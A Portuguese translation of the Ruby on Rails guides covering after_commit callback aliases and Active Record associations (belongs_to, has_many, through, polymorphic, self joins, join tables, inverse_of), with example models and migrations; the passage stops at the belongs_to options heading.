Já que usar o callback after_commit para criar, atualizar ou deletar é comum, existem aliases para as operações:

- after_create_commit

- after_update_commit

- after_destroy_commit

class PictureFile < ApplicationRecord
after_destroy_commit :delete_picture_file_from_disk

def delete_picture_file_from_disk
if File.exist?(filepath)
File.delete(filepath)
end
end
end

class PictureFile < ApplicationRecord after_destroy_commit :delete_picture_file_from_disk def delete_picture_file_from_disk if File.exist?(filepath) File.delete(filepath) end end end Copiar

Quando uma transação é completada, os callbacks after_commit ou after_rollback são chamados para todos os models criados, atualizados ou destruidos em uma transação. No entanto, se uma exceção é lançada em um desses callbacks, a exceção vai interromper a execução e quaisquer métodos restantes de after_commit ou after_rollback não serão executados. Assim sendo, se o código do seu callback pode lançar uma exceção, você precisará recuperá-la e tratá-la dentro do callback para que outros callbacks possam ser executados.

O código executado dentro dos callbacks de after_commit ou after_rollback não está incluido em uma transação.

Usando ambos after_create_commit e after_update_commit no mesmo model permitirá somente que o último callback definido seja efetuado, sobrepondo todos os outros.

class User < ApplicationRecord
after_create_commit :log_user_saved_to_db
after_update_commit :log_user_saved_to_db

private
def log_user_saved_to_db
puts 'User was saved to database'
end
end

class User < ApplicationRecord after_create_commit :log_user_saved_to_db after_update_commit :log_user_saved_to_db private def log_user_saved_to_db puts 'User was saved to database' end end Copiar

irb> @user = User.create # não imprime nada

irb> @user.save # atualizando @user
User was saved to database

@user = User.create # não imprime nada @user.save # atualizando @user Copiar

Existe também um alias para o usar o callback after_commit, juntamente, tanto para criar quanto para atualizar:

- after_save_commit

class User < ApplicationRecord
after_save_commit :log_user_saved_to_db

private
def log_user_saved_to_db
puts 'User was saved to database'
end
end

class User < ApplicationRecord after_save_commit :log_user_saved_to_db private def log_user_saved_to_db puts 'User was saved to database' end end Copiar

irb> @user = User.create # criando um Usuário
User was saved to database

irb> @user.save # atualizando o Usuário @user
User was saved to database

@user = User.create # criando um Usuário @user.save # atualizando o Usuário @user Copiar

Associações Active Record — Ruby on...

1 Por Que Associações?

Em Rails, uma associação é uma conexão entre dois models em Active Record. Por que precisamos de associações entre models? Porque eles tornam as operações comuns mais simples e fáceis de entender em seu código. Por exemplo, considere uma aplicação Rails simples que inclua um model para autores e um model para livros. Cada autor pode ter vários livros. Sem associações, as declarações do model seriam assim:

class Author < ApplicationRecord
end

class Book < ApplicationRecord
end

class Author < ApplicationRecord end class Book < ApplicationRecord end Copiar

Agora, suponha que queremos adicionar um novo livro para um autor existente. Nós precisaríamos fazer algo assim:

@book = Book.create(published_at: Time.now, author_id: @author.id)

@book = Book.create(published_at: Time.now, author_id: @author.id) Copiar

Ou considere excluir um autor, garantindo que todos os seus livros serão excluídos também:

@books = Book.where(author_id: @author.id)
@books.each do |book|
book.destroy
end
@author.destroy

@books = Book.where(author_id: @author.id) @books.each do |book| book.destroy end @author.destroy Copiar

Com as associações do Active Record, podemos otimizar essas - e outras - operações declarando ao Rails que há uma conexão entre os dois models. Aqui está o código revisado para configurar autores e livros:

class Author < ApplicationRecord
has_many :books, dependent: :destroy
end

class Book < ApplicationRecord
belongs_to :author
end

class Author < ApplicationRecord has_many :books, dependent: :destroy end class Book < ApplicationRecord belongs_to :author end Copiar

Com essa alteração, é mais fácil criar um novo livro para um autor específico:

@book = @author.books.create(published_at: Time.now)

@book = @author.books.create(published_at: Time.now) Copiar

Excluir um autor e todos os seus livros é muito mais fácil:

@author.destroy

@author.destroy Copiar

Para saber mais sobre os diferentes tipos de associações, leia a próxima seção deste guia. Em seguida há algumas dicas e truques para trabalhar com associações e, na sequência, uma referência completa dos métodos e opções para associações no Rails.

2 Os Tipos de Associações

O Rails suporta seis tipos de associações:

- belongs_to

- has_one

- has_many

- has_many :through

- has_one :through

- has_and_belongs_to_many

As associações são implementadas usando chamadas macro-style, para que você possa adicionar declarativamente recursos aos seus models. Por exemplo, ao declarar que um model belongs_to (pertence a outro), você instrui o Rails a manter as informações de Primary Key-Foreign Key (Chave primária-Chave Estrangeira) entre instâncias dos dois models, e também obtém vários métodos úteis adicionados ao seu model.

No restante deste guia, você aprenderá como declarar e usar as várias formas de associação. Mas primeiro, uma rápida introdução para as situações em que cada tipo de associação é apropriada.

2.1 A Associação belongs_to

Uma associação belongs_to configura uma conexão com outro model, de modo que cada instância do model declarante "pertença a" uma instância do outro model. Por exemplo, se sua aplicação incluir autores e livros, e cada livro pertencer a apenas um autor, você declarará o model do livro da seguinte maneira:

class Book < ApplicationRecord
belongs_to :author
end

class Book < ApplicationRecord belongs_to :author end Copiar

as associações belongs_to devem usar o termo no singular. Se você usou o plural no exemplo acima para a associação autor no model Livro e tentou criar a instância com Book.create(authors: @author), você seria informado de que existe uma "constante não inicializada Book::Authors". Isso ocorre porque o Rails deduz automaticamente o nome da classe a partir do nome da associação. Se o nome da associação estiver incorretamente no plural, a classe inferida também estará incorreta.

A migration correpondente parecerá assim:

class CreateBooks < ActiveRecord::Migration[6.0]
def change
create_table :authors do |t|
t.string :name
t.timestamps
end

create_table :books do |t|
t.belongs_to :author
t.datetime :published_at
t.timestamps
end
end
end

class CreateBooks < ActiveRecord::Migration[6.0] def change create_table :authors do |t| t.string :name t.timestamps end create_table :books do |t| t.belongs_to :author t.datetime :published_at t.timestamps end end end Copiar

Quando usado sozinho, belongs_to produz uma conexão unidirecional um-para-um. Portanto, cada livro no exemplo acima "conhece" seu autor, mas os autores não sabem sobre seus livros. Para configurar uma associação bidirecional - use belongs_to em combinação com has_one ou has_many no outro model.

belongs_to não garante consistência de referência, portanto, dependendo do caso de uso, você também pode precisar adicionar uma restrição de chave estrangeira a nível de banco de dados na coluna de referência, assim:

create_table :books do |t|
t.belongs_to :author, foreign_key: true
# ...
end

create_table :books do |t| t.belongs_to :author, foreign_key: true # ... end Copiar

2.2 A associação has_one

Uma associação has_one indica que um outro model tem uma referência a este model. Esse model pode ser obtido por meio dessa associação.

Por exemplo, se cada fornecedor (supplier) da sua aplicação tiver apenas uma conta, você declararia o model de fornecedor desta forma:

class Supplier < ApplicationRecord
has_one :account
end

class Supplier < ApplicationRecord has_one :account end Copiar

A principal diferença do belongs_to é que a coluna do link supplier_id está localizada na outra tabela:

A migration correpondente parecerá assim:

class CreateSuppliers < ActiveRecord::Migration[6.0]
def change
create_table :suppliers do |t|
t.string :name
t.timestamps
end

create_table :accounts do |t|
t.belongs_to :supplier
t.string :account_number
t.timestamps
end
end
end

class CreateSuppliers < ActiveRecord::Migration[6.0] def change create_table :suppliers do |t| t.string :name t.timestamps end create_table :accounts do |t| t.belongs_to :supplier t.string :account_number t.timestamps end end end Copiar

Dependendo do caso de uso, também pode ser necessário criar um índice exclusivo e/ou uma restrição de foreign key na coluna do fornecedor para a tabela de contas. Nesse caso, a definição da coluna parecerá assim:

create_table :accounts do |t|
t.belongs_to :supplier, index: { unique: true }, foreign_key: true
# ...
end

create_table :accounts do |t| t.belongs_to :supplier, index: { unique: true }, foreign_key: true # ... end Copiar

Esta relação pode ser bidirecional quando usada em combinação com belongs_to no outro model.

2.3 A Associação has_many

Uma associação has_many é semelhante a has_one, mas indica uma conexão um-para-muitos com outro model. Você encontrará frequentemente essa associação no "outro lado" de uma associação belongs_to. Essa associação indica que cada instância do model possui zero ou mais instâncias de outro model. Por exemplo, em uma aplicação que contém autores e livros, o model do autor pode ser declarado assim:

class Author < ApplicationRecord
has_many :books
end

class Author < ApplicationRecord has_many :books end Copiar

O nome do outro model é pluralizado ao declarar uma associação has_many.

A migration correpondente parecerá assim:

class CreateAuthors < ActiveRecord::Migration[6.0]
def change
create_table :authors do |t|
t.string :name
t.timestamps
end

create_table :books do |t|
t.belongs_to :author
t.datetime :published_at
t.timestamps
end
end
end

class CreateAuthors < ActiveRecord::Migration[6.0] def change create_table :authors do |t| t.string :name t.timestamps end create_table :books do |t| t.belongs_to :author t.datetime :published_at t.timestamps end end end Copiar

Dependendo do caso de uso, geralmente é uma boa ideia criar um índice não único e, opcionalmente, uma restrição de chave estrangeira na coluna do autor para a tabela de livros:

create_table :books do |t|
t.belongs_to :author, index: true, foreign_key: true
# ...
end

create_table :books do |t| t.belongs_to :author, index: true, foreign_key: true # ... end Copiar

2.4 A Associação has_many :through

Uma associação has_many :through é frequentemente usada para estabelecer uma conexão muitos-para-muitos com outro model. Essa associação indica que o model declarado pode ser correspondido com zero ou mais instâncias de outro model, prosseguindo através (through) de um terceiro model. Por exemplo, considere uma prática médica em que os pacientes marcam consultas com médicos. As declarações de associação relevantes podem ter a seguinte aparência:

class Physician < ApplicationRecord
has_many :appointments
has_many :patients, through: :appointments
end

class Appointment < ApplicationRecord
belongs_to :physician
belongs_to :patient
end

class Patient < ApplicationRecord
has_many :appointments
has_many :physicians, through: :appointments
end

class Physician < ApplicationRecord has_many :appointments has_many :patients, through: :appointments end class Appointment < ApplicationRecord belongs_to :physician belongs_to :patient end class Patient < ApplicationRecord has_many :appointments has_many :physicians, through: :appointments end Copiar

A migration correspondente parecerá assim:

class CreateAppointments < ActiveRecord::Migration[6.0]
def change
create_table :physicians do |t|
t.string :name
t.timestamps
end

create_table :patients do |t|
t.string :name
t.timestamps
end

create_table :appointments do |t|
t.belongs_to :physician
t.belongs_to :patient
t.datetime :appointment_date
t.timestamps
end
end
end

class CreateAppointments < ActiveRecord::Migration[6.0] def change create_table :physicians do |t| t.string :name t.timestamps end create_table :patients do |t| t.string :name t.timestamps end create_table :appointments do |t| t.belongs_to :physician t.belongs_to :patient t.datetime :appointment_date t.timestamps end end end Copiar

O conjunto da junção dos models pode ser gerenciada através dos métodos de associação has_many. Por exemplo, se você atribuir:

physician.patients = patients

physician.patients = patients Copiar

Em seguida, novos models de junção são criados automaticamente para os objetos recém-associados. Se alguns que existiam anteriormente estão faltando agora, suas linhas de junção são excluídas automaticamente.

A exclusão automática de models de junção é direta, nenhum callback de destruição é acionado.

A associação has_many :through também é útil para configurar "atalhos" através de associações aninhadas has_many. Por exemplo, se um documento possui muitas seções e uma seção com muitos parágrafos, você pode obter uma coleção simples de todos os parágrafos do documento. Você pode configurar dessa maneira:

class Document < ApplicationRecord
has_many :sections
has_many :paragraphs, through: :sections
end

class Section < ApplicationRecord
belongs_to :document
has_many :paragraphs
end

class Paragraph < ApplicationRecord
belongs_to :section
end

class Document < ApplicationRecord has_many :sections has_many :paragraphs, through: :sections end class Section < ApplicationRecord belongs_to :document has_many :paragraphs end class Paragraph < ApplicationRecord belongs_to :section end Copiar

Com through: :section especificado, o Rails agora entenderá:

@document.paragraphs

@document.paragraphs Copiar

2.5 A Associação has_one :through

Uma Associação has_one :through estabelece uma conexão um-para-um com outro model. Essa associação indica que o model declarante pode ser combinado com uma instância de outro model, prosseguindo através(through) de um terceiro model. Por exemplo, se cada fornecedor tiver uma conta, e cada conta estiver associada a um histórico da conta, então o model fornecedor poderia ficar assim:

class Supplier < ApplicationRecord
has_one :account
has_one :account_history, through: :account
end

class Account < ApplicationRecord
belongs_to :supplier
has_one :account_history
end

class AccountHistory < ApplicationRecord
belongs_to :account
end

class Supplier < ApplicationRecord has_one :account has_one :account_history, through: :account end class Account < ApplicationRecord belongs_to :supplier has_one :account_history end class AccountHistory < ApplicationRecord belongs_to :account end Copiar

A migration correpondente parecerá assim:

class CreateAccountHistories < ActiveRecord::Migration[6.0]
def change
create_table :suppliers do |t|
t.string :name
t.timestamps
end

create_table :accounts do |t|
t.belongs_to :supplier
t.string :account_number
t.timestamps
end

create_table :account_histories do |t|
t.belongs_to :account
t.integer :credit_rating
t.timestamps
end
end
end

class CreateAccountHistories < ActiveRecord::Migration[6.0] def change create_table :suppliers do |t| t.string :name t.timestamps end create_table :accounts do |t| t.belongs_to :supplier t.string :account_number t.timestamps end create_table :account_histories do |t| t.belongs_to :account t.integer :credit_rating t.timestamps end end end Copiar

2.6 A Associação has_and_belongs_to_many

Uma associação has_and_belongs_to_many cria uma conexão direta muitos-para-muitos com outro model, sem nenhum model intermediário. Essa associação indica que cada instância do model declarado se refere a zero ou mais instâncias do outro model Por exemplo, se sua aplicação incluir conjuntos e peças, com cada conjunto tendo muitas peças e cada peça aparecendo em muitos conjuntos, você poderá declarar os model desta maneira:

class Assembly < ApplicationRecord
has_and_belongs_to_many :parts
end

class Part < ApplicationRecord
has_and_belongs_to_many :assemblies
end

class Assembly < ApplicationRecord has_and_belongs_to_many :parts end class Part < ApplicationRecord has_and_belongs_to_many :assemblies end Copiar

A migration correpondente parecerá assim:

class CreateAssembliesAndParts < ActiveRecord::Migration[6.0]
def change
create_table :assemblies do |t|
t.string :name
t.timestamps
end

create_table :parts do |t|
t.string :part_number
t.timestamps
end

create_table :assemblies_parts, id: false do |t|
t.belongs_to :assembly
t.belongs_to :part
end
end
end

class CreateAssembliesAndParts < ActiveRecord::Migration[6.0] def change create_table :assemblies do |t| t.string :name t.timestamps end create_table :parts do |t| t.string :part_number t.timestamps end create_table :assemblies_parts, id: false do |t| t.belongs_to :assembly t.belongs_to :part end end end Copiar

2.7 Escolhendo entre belongs_to and has_one

Se você deseja configurar um relacionamento um-para-um entre dois models, será necessário adicionar belongs_to para um e has_one ao outro. Como você sabe qual é qual?

A distinção é onde você coloca a foreign key (ela aparece na tabela para a classe que declara a associação belongs_to), mas você deve pensar um pouco no significado real dos dados também. O relacionamento has_one diz que um de algo é seu - isto é, que algo aponta para você. Por exemplo, faz mais sentido dizer que um fornecedor possui uma conta do que uma conta possui um fornecedor. Isso sugere que os relacionamentos corretos são assim:

class Supplier < ApplicationRecord
has_one :account
end

class Account < ApplicationRecord
belongs_to :supplier
end

class Supplier < ApplicationRecord has_one :account end class Account < ApplicationRecord belongs_to :supplier end Copiar

A migration correpondente parecerá assim:

class CreateSuppliers < ActiveRecord::Migration[6.0]
def change
create_table :suppliers do |t|
t.string :name
t.timestamps
end

create_table :accounts do |t|
t.bigint  :supplier_id
t.string  :account_number
t.timestamps
end

add_index :accounts, :supplier_id
end
end

class CreateSuppliers < ActiveRecord::Migration[6.0] def change create_table :suppliers do |t| t.string :name t.timestamps end create_table :accounts do |t| t.bigint :supplier_id t.string :account_number t.timestamps end add_index :accounts, :supplier_id end end Copiar

O uso de t.bigint :supplier_id torna a nomeação da foreign key óbvia e explícita. Nas versões atuais do Rails, você pode abstrair esses detalhes de implementação usando t.references :supplier.

2.8 Escolhendo entre has_many :through e has_and_belongs_to_many

O Rails oferece duas maneiras diferentes de declarar um relacionamento muitos-para-muitos entre os models. A primeira maneira é usar has_and_belongs_to_many, o que permite fazer a associação diretamente:

class Assembly < ApplicationRecord
has_and_belongs_to_many :parts
end

class Part < ApplicationRecord
has_and_belongs_to_many :assemblies
end

class Assembly < ApplicationRecord has_and_belongs_to_many :parts end class Part < ApplicationRecord has_and_belongs_to_many :assemblies end Copiar

A segunda maneira de declara um relacionamento muitos-para-muito é usar has_many :through. Isso faz uma associação de forma indireta, através de um model de junção:

class Assembly < ApplicationRecord
has_many :manifests
has_many :parts, through: :manifests
end

class Manifest < ApplicationRecord
belongs_to :assembly
belongs_to :part
end

class Part < ApplicationRecord
has_many :manifests
has_many :assemblies, through: :manifests
end

class Assembly < ApplicationRecord has_many :manifests has_many :parts, through: :manifests end class Manifest < ApplicationRecord belongs_to :assembly belongs_to :part end class Part < ApplicationRecord has_many :manifests has_many :assemblies, through: :manifests end Copiar

A regra mais simples é que você deve configurar um relacionamento has_many :through se precisar trabalhar com o models de relacionamento como uma entidade independente. Se você não precisar fazer nada com o model de relacionamento, pode ser mais simples configurar um relacionamento has_and_belongs_to_many (embora seja necessário lembrar de criar a tabela de junção no banco de dados).

Você deve usar has_many :through se precisar de validações, callbacks ou atributos extras no join model(modelo de junção).

2.9 Associações Polimórficas

Uma mudança um pouco mais avançada nas associações é a associação polimórfica. Com associações polimórficas, um model pode pertencer a mais de um outro model, em uma única associação. Por exemplo, você pode ter um model de foto que pertença a um model de funcionário ou a um model de produto. Veja como isso pode ser declarado:

class Picture < ApplicationRecord
belongs_to :imageable, polymorphic: true
end

class Employee < ApplicationRecord
has_many :pictures, as: :imageable
end

class Product < ApplicationRecord
has_many :pictures, as: :imageable
end

class Picture < ApplicationRecord belongs_to :imageable, polymorphic: true end class Employee < ApplicationRecord has_many :pictures, as: :imageable end class Product < ApplicationRecord has_many :pictures, as: :imageable end Copiar

Você pode pensar em uma declaração polimórfica belongs_to como uma configuração de interface que qualquer outro model pode usar. Em uma instância do model Funcionário, você pode recuperar uma coleção de fotos: @employee.pictures.

Da mesma forma, você pode recuperar @product.pictures.

Se você tem uma instância do model Fotos, você pode chegar ao seu pai via @picture.imageable. Para fazer isso funcionar, você precisa declarar uma coluna de foreign key e uma coluna de tipo no model que declara a interface polimórfica:

class CreatePictures < ActiveRecord::Migration[6.0]
def change
create_table :pictures do |t|
t.string  :name
t.bigint  :imageable_id
t.string  :imageable_type
t.timestamps
end

add_index :pictures, [:imageable_type, :imageable_id]
end
end

class CreatePictures < ActiveRecord::Migration[6.0] def change create_table :pictures do |t| t.string :name t.bigint :imageable_id t.string :imageable_type t.timestamps end add_index :pictures, [:imageable_type, :imageable_id] end end Copiar

Esta migration pode ser simplificada usando a forma de t.references:

class CreatePictures < ActiveRecord::Migration[6.0]
def change
create_table :pictures do |t|
t.string :name
t.references :imageable, polymorphic: true
t.timestamps
end
end
end

class CreatePictures < ActiveRecord::Migration[6.0] def change create_table :pictures do |t| t.string :name t.references :imageable, polymorphic: true t.timestamps end end end Copiar

2.10 Self Joins

Ao projetar um modelo de dados, algumas vezes você encontrará um model que deve ter uma relação consigo mesmo. Por exemplo, você pode querer armazenar todos os funcionários em um único modelo de banco de dados, mas conseguir rastrear relacionamentos como entre gerente e subordinados. Essa situação pode ser modelada com associações self-joining:

class Employee < ApplicationRecord
has_many :subordinates, class_name: "Employee",
foreign_key: "manager_id"

belongs_to :manager, class_name: "Employee", optional: true
end

class Employee < ApplicationRecord has_many :subordinates, class_name: "Employee", foreign_key: "manager_id" belongs_to :manager, class_name: "Employee", optional: true end Copiar

Com esta configuração, você pode recuperar @employee.subordinates e @employee.manager.

Em suas migrations/schema, você adicionará uma coluna de referências ao próprio model.

class CreateEmployees < ActiveRecord::Migration[6.0]
def change
create_table :employees do |t|
t.references :manager, foreign_key: { to_table: :employees }
t.timestamps
end
end
end

class CreateEmployees < ActiveRecord::Migration[6.0] def change create_table :employees do |t| t.references :manager, foreign_key: { to_table: :employees } t.timestamps end end end Copiar

3 Dicas, Truques e Avisos

Segue algumas coisas que você deve saber para utilizar as associações do Active Record nas suas aplicações Rails:

- Controlando o caching

- Evitando colisões de nome

- Atualizando o schema

- Controlando o escopo de associação

- Associações bidirecionais

3.1 Controlando o Caching

Todos os métodos de associação são construídos em torno de caching, o que mantém o resultado da query mais recente disponível para operações futuras. O cache é até compartilhado entre métodos. Por exemplo:

# retorna books do banco de dados
author.books.load

# usa a versão salva em cache da busca por books
author.books.size

# usa a versão salva em cache da busca por books
author.books.empty?

# retorna books do banco de dados author.books.load # usa a versão salva em cache da busca por books author.books.size # usa a versão salva em cache da busca por books author.books.empty? Copiar

Mas e se você quiser recarregar o cache, porque pode haver alterações nos dados devido a outra parte da aplicação? Simplesmente chame reload na associação:

# retorna books do banco de dados
author.books

# usa a versão salva em cache da busca por books
author.books.size

# descarta a resposta da busca salva em cache por books
# e volta a olhar para o banco de dados
author.books.reload.empty?

# retorna books do banco de dados author.books # usa a versão salva em cache da busca por books author.books.size # descarta a resposta da busca salva em cache por books # e volta a olhar para o banco de dados author.books.reload.empty? Copiar

3.2 Evitando Colisões de Nome

Não é possível usar simplesmente qualquer nome para suas associações. Considerando que ao criar uma associação adicionamos um método com o nome especificado ao model, é uma péssima ideia dar um nome para uma associação que já foi utilizado para um método de instância de ActiveRecord::Base. O método da associação sobrescreverá o método base e quebrará coisas. Por exemplo, attributes ou connection não são indicados como nomes para associações.

3.3 Atualizando o Schema

Associações são extremamente úteis, mas não são mágica. Você fica responsável por manter o schema do seu banco de dados de forma que corresponda às suas associações. Na prática, isto significa duas coisas, dependendo do tipo de associação que você criar. Para associações belongs_to você precisa criar chaves estrangeiras, e para associações has_and_belongs_to_many você precisa criar a tabela de junção (join table) apropriada.

3.3.1 Criando Chaves Estrangeiras para Associações belongs_to

Quando você declara uma associação belongs_to, você precisa criar as chaves estrangeiras apropriadas. Por exemplo, considere este model:

class Book < ApplicationRecord
belongs_to :author
end

class Book < ApplicationRecord belongs_to :author end Copiar

Esta declaração precisa do apoio de uma coluna de chave estrangeira apropriada na tabela books. Pra uma tabela recém criada, a migração pode parecer com isto:

class CreateBooks < ActiveRecord::Migration[6.0]
def change
create_table :books do |t|
t.datetime   :published_at
t.string     :book_number
t.references :author
end
end
end

class CreateBooks < ActiveRecord::Migration[6.0] def change create_table :books do |t| t.datetime :published_at t.string :book_number t.references :author end end end Copiar

Enquanto que para uma tabela existente, pode parecer com isto:

class AddAuthorToBooks < ActiveRecord::Migration[6.0]
def change
add_reference :books, :author
end
end

class AddAuthorToBooks < ActiveRecord::Migration[6.0] def change add_reference :books, :author end end Copiar

Se você quiser impor integridade de referência no nível do banco de dados, acrescente a opção foreign_key: true à declaração da coluna 'reference' acima.

3.3.2 Criando Tabelas de Junção para Associações has_and_belongs_to_many

Se você criar uma associação has_and_belongs_to_many, você precisa criar a tabela de junção de forma explícita. A menos que o nome da tabela de junção seja especificado de forma explícita através da opção :join_table, o Active Record cria o nome utilizando a ordem léxica dos nomes de classe. Dessa forma, uma junção entre os models author e book resulta no nome de tabela de junção padrão "authors_books" porque "a" precede "b" na ordenação léxica.

A precedência entre nomes de model é calculada usando o operador <=> para String. Isto significa que se as strings têm comprimentos diferentes, e as strings são iguais quando comparados até o menor comprimento, então a string mais comprido recebe uma precedência léxica maior que o mais curto. Por exemplo, à primeira vista você pode esperar que as tabelas "paper_boxes" e "papers" resultem numa tabela de junção chamada "papers_paper_boxes" por causa do comprimento do nome "paper_boxes", mas em vez disso cria-se a tabela de junção chamada "paper_boxes_papers" (porque o underscore '_' recebe um peso lexicográfico menor que 's' em encodings comuns).

Independente do nome, você deve gerar manualmente a tabela de junção com a migração apropriada. Por exemplo, considere estas associações:

class Assembly < ApplicationRecord
has_and_belongs_to_many :parts
end

class Part < ApplicationRecord
has_and_belongs_to_many :assemblies
end

class Assembly < ApplicationRecord has_and_belongs_to_many :parts end class Part < ApplicationRecord has_and_belongs_to_many :assemblies end Copiar

Elas precisam do apoio de uma migração para criar a tabela assemblies_parts. Esta tabela deve ser criada sem a chave primária:

class CreateAssembliesPartsJoinTable < ActiveRecord::Migration[6.0]
def change
create_table :assemblies_parts, id: false do |t|
t.bigint :assembly_id
t.bigint :part_id
end

add_index :assemblies_parts, :assembly_id
add_index :assemblies_parts, :part_id
end
end

class CreateAssembliesPartsJoinTable < ActiveRecord::Migration[6.0] def change create_table :assemblies_parts, id: false do |t| t.bigint :assembly_id t.bigint :part_id end add_index :assemblies_parts, :assembly_id add_index :assemblies_parts, :part_id end end Copiar

Passamos id: false para create_table porque esta tabela não representa um model. Isto é necessário para a associação funcionar de maneira correta. Se você observar qualquer comportamento estranho numa associação has_and_belongs_to_many como IDs de model corrompidos, ou exceções envolvendo IDs em conflito, é provável que você tenha esquecido deste detalhe.

Você também pode utilizar o método create_join_table

class CreateAssembliesPartsJoinTable < ActiveRecord::Migration[6.0]
def change
create_join_table :assemblies, :parts do |t|
t.index :assembly_id
t.index :part_id
end
end
end

class CreateAssembliesPartsJoinTable < ActiveRecord::Migration[6.0] def change create_join_table :assemblies, :parts do |t| t.index :assembly_id t.index :part_id end end end Copiar

3.4 Controlando o Escopo de Associação

Por padrão, associações procuram por objetos apenas dentro do escopo do model atual. Isto é relevante quando você declara models do Active Record dentro de um módulo. Por exemplo:

module MyApplication
module Business
class Supplier < ApplicationRecord
has_one :account
end

class Account < ApplicationRecord
belongs_to :supplier
end
end
end

module MyApplication module Business class Supplier < ApplicationRecord has_one :account end class Account < ApplicationRecord belongs_to :supplier end end end Copiar

Isto funciona corretamente, porque tanto a classe Supplier quanto a classe Account são definidas dentro do mesmo escopo. Mas o próximo exemplo não funcionará, porque Supplier e Account são definidos em escopos diferentes:

module MyApplication
module Business
class Supplier < ApplicationRecord
has_one :account
end
end

module Billing
class Account < ApplicationRecord
belongs_to :supplier
end
end
end

module MyApplication module Business class Supplier < ApplicationRecord has_one :account end end module Billing class Account < ApplicationRecord belongs_to :supplier end end end Copiar

Para associar um model a outro model em um namespace diferente, você deve especificar o nome completo da classe na declaração da sua associação:

module MyApplication
module Business
class Supplier < ApplicationRecord
has_one :account,
class_name: "MyApplication::Billing::Account"
end
end

module Billing
class Account < ApplicationRecord
belongs_to :supplier,
class_name: "MyApplication::Business::Supplier"
end
end
end

module MyApplication module Business class Supplier < ApplicationRecord has_one :account, class_name: "MyApplication::Billing::Account" end end module Billing class Account < ApplicationRecord belongs_to :supplier, class_name: "MyApplication::Business::Supplier" end end end Copiar

3.5 Associações Bidirecionais

É normal para associações funcionar em duas direções, necessitando de declarações em dois models diferentes:

class Author < ApplicationRecord
has_many :books
end

class Book < ApplicationRecord
belongs_to :author
end

class Author < ApplicationRecord has_many :books end class Book < ApplicationRecord belongs_to :author end Copiar

O Active Record tentará identificar automaticamente que estes dois models compartilham uma associação bidirecional baseando-se no nome da associação. Desta forma, o Active Record carregará apenas uma cópia do objeto Author, tornando sua aplicação mais eficiente e evitando dados inconsistentes:

irb> a = Author.first
irb> b = a.books.first
irb> a.first_name == b.author.first_name
=> true
irb> a.first_name = 'David'
irb> a.first_name == b.author.first_name
=> true

a = Author.first b = a.books.first a.first_name == b.author.first_name a.first_name = 'David' a.first_name == b.author.first_name Copiar

O Active Record tem suporte a identificação automática para a maioria das associações com nomes padrão. Contudo, o Active Record não identificará automaticamente associações bidirecionais que contém um escopo ou qualquer uma das opções abaixo:

- :through

- :foreign_key

Por exemplo, considere as declarações de models abaixo:

class Author < ApplicationRecord
has_many :books
end

class Book < ApplicationRecord
belongs_to :writer, class_name: 'Author', foreign_key: 'author_id'
end

class Author < ApplicationRecord has_many :books end class Book < ApplicationRecord belongs_to :writer, class_name: 'Author', foreign_key: 'author_id' end Copiar

O Active Record não reconhecerá mais a associação bidirecional:

irb> a = Author.first
irb> b = a.books.first
irb> a.first_name == b.writer.first_name
=> true
irb> a.first_name = 'David'
irb> a.first_name == b.writer.first_name
=> false

a = Author.first b = a.books.first a.first_name == b.writer.first_name a.first_name = 'David' a.first_name == b.writer.first_name Copiar

O Active Record fornece a opção :inverse_of para declarar associações bidirecionais de forma explícita:

class Author < ApplicationRecord
has_many :books, inverse_of: 'writer'
end

class Book < ApplicationRecord
belongs_to :writer, class_name: 'Author', foreign_key: 'author_id'
end

class Author < ApplicationRecord has_many :books, inverse_of: 'writer' end class Book < ApplicationRecord belongs_to :writer, class_name: 'Author', foreign_key: 'author_id' end Copiar

Ao incluir a opção :inverse_of na declaração da associação has_many, o Active Record agora reconhecerá a associação bidirecional:

irb> a = Author.first
irb> b = a.books.first
irb> a.first_name == b.writer.first_name
=> true
irb> a.first_name = 'David'
irb> a.first_name == b.writer.first_name
=> true

a = Author.first b = a.books.first a.first_name == b.writer.first_name a.first_name = 'David' a.first_name == b.writer.first_name Copiar

4 Referência Detalhada das Associações

As seções seguintes dão detalhes sobre cada tipo de associação, incluindo os métodos que elas adicionam e as opções que você pode usar quando declarar uma associação.

4.1 Referência da Associação belongs_to

Em termos de banco de dados, esta associação diz que a tabela deste modelo contém uma coluna que representa uma referência a outra tabela. Isso pode ser usado para configurar relações um-para-um ou um-para-muitos, dependendo da configuração. Se a tabela da outra classe contém a referência em uma relação um-para-um, então você deve usar has_one.

4.1.1 Métodos Adicionados por belongs_to

Quando você declara uma associação belongs_to, a classe declarada ganha automaticamente 6 métodos relacionados à associação:

- association

- association=(associate)

- build_association(attributes = {})

- create_association(attributes = {})

- create_association!(attributes = {})

- reload_association

Em todos esses métodos, association é substituída pelo symbol passado como primeiro argumento para belongs_to. Por exemplo, dada a declaração:

class Book < ApplicationRecord
belongs_to :author
end

class Book < ApplicationRecord belongs_to :author end Copiar

Cada instância do model Book terá estes métodos:

author
author=
build_author
create_author
create_author!
reload_author

author author= build_author create_author create_author! reload_author Copiar

Quando inicializar uma associação has_one ou belongs_to nova você deve usar o prefixo build_ para montar a associação, ao invés do método association.build que seria usado para associações has_many ou has_and_belongs_to_many. Para criar uma associação nova, use o prefixo create_.

4.1.1.1 association

O método association retorna o objeto associado, se ele existir. Se nenhum objeto associado for encontrado, ele retorna nil.

@author = @book.author

@author = @book.author Copiar

Se o objeto associado já foi retornado pelo banco de dados para este objeto, a versão em cache será retornada. Para sobrescrever este comportamento (e forçar a leitura do banco de dados), chame #reload_association no objeto pai.

@author = @book.reload_author

@author = @book.reload_author Copiar

4.1.1.2 association=(associate)

O método association= atribui um objeto associado a este objeto. Por trás das cenas, isto significa extrair a chave primária do objeto associado e atribuir à chave estrangeira do objeto o mesmo valor.

@book.author = @author

@book.author = @author Copiar

4.1.1.3 build_association(attributes = {})

O método build_association retorna um objeto novo do tipo associado. Este objeto será instanciado com os atributos passados, e a ligação através da chave estrangeira deste objeto será configurada, mas o objeto associado ainda não será salvo.

@author = @book.build_author(author_number: 123,
author_name: "John Doe")

@author = @book.build_author(author_number: 123, author_name: "John Doe") Copiar

4.1.1.4 create_association(attributes = {})

O método create_association retorna um objeto novo do tipo associado. Este objeto será instanciado com os atributos passados, e a ligação através da chave estrangeira deste objeto será configurada, e, uma vez que ele passe por todas as validações especificadas no model associado, o objeto associado será salvo.

@author = @book.create_author(author_number: 123,
author_name: "John Doe")

@author = @book.create_author(author_number: 123, author_name: "John Doe") Copiar

4.1.1.5 create_association!(attributes = {})

Faz a mesma coisa que o método create_association acima, mas retorna ActiveRecord::RecordInvalid se o registro for inválido.

4.1.2 Opções para belongs_to

